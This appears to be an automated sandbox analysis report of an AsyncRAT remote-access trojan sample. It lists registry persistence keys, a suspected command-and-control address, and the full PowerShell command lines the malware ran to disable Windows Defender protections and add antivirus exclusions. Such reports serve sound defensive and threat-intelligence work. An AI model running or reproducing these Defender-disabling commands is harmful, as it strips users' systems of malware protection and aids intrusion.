Analysis Overview
SHA256
fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7
Threat Level: Known bad
The file c4e10100c5cf7bec2d9d0a1d7203ddb2.exe was found to be: Known bad.
Malicious Activity Summary
Asyncrat family
AsyncRat
Async RAT payload
Command and Scripting Interpreter: PowerShell
Adds Run key to start application
Unsigned PE
Enumerates physical storage devices
Uses Task Scheduler COM API
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-28 16:41
Signatures
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Asyncrat family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-28 16:41
Reported
2024-06-28 16:43
Platform
win7-20240221-en
Max time kernel
146s
Max time network
148s
Command Line
Signatures
AsyncRat
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\JkanJjJrabo = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe" | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command\ | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe
"C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe & exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k start /b powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -SubmitSamplesConsent 2
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
Network
| Country | Destination | Domain | Proto |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp |
Files
memory/2156-0-0x000007FEF5BE3000-0x000007FEF5BE4000-memory.dmp
memory/2156-1-0x00000000002F0000-0x000000000035C000-memory.dmp
memory/2156-2-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y070IKWTL0KLCYZJSBAR.temp
| MD5 | bb96597420ee22a94859bbb917f660f6 |
| SHA1 | 1fa36f615713ccb0cc2bb3937a69ee20e4a37fcf |
| SHA256 | 2522dea1eae3b7a5968edd61c844c8ce6ed867390d744594f7313c1e22499000 |
| SHA512 | 00dac3599231bc32fd59ded0848dc78354e06e56c6db39f4b3f64a6b4e20011d56267c7fd30fe967cf72e94c61e9880b0d2b8b7c8f4110149e8eea0c198e2e1b |
memory/2824-17-0x000000001B720000-0x000000001BA02000-memory.dmp
memory/2824-18-0x00000000021D0000-0x00000000021D8000-memory.dmp
memory/1632-29-0x000000001B750000-0x000000001BA32000-memory.dmp
memory/1632-30-0x0000000001E90000-0x0000000001E98000-memory.dmp
memory/2156-36-0x000007FEF5BE3000-0x000007FEF5BE4000-memory.dmp
memory/2156-37-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-28 16:41
Reported
2024-06-28 16:43
Platform
win10v2004-20240508-en
Max time kernel
147s
Max time network
155s
Command Line
Signatures
AsyncRat
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command\ | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open | C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe
"C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
Files
memory/1628-0-0x0000000000A30000-0x0000000000A9C000-memory.dmp
memory/1628-1-0x00007FFB82733000-0x00007FFB82735000-memory.dmp
memory/1628-2-0x00007FFB82730000-0x00007FFB831F1000-memory.dmp
memory/1628-3-0x00007FFB82730000-0x00007FFB831F1000-memory.dmp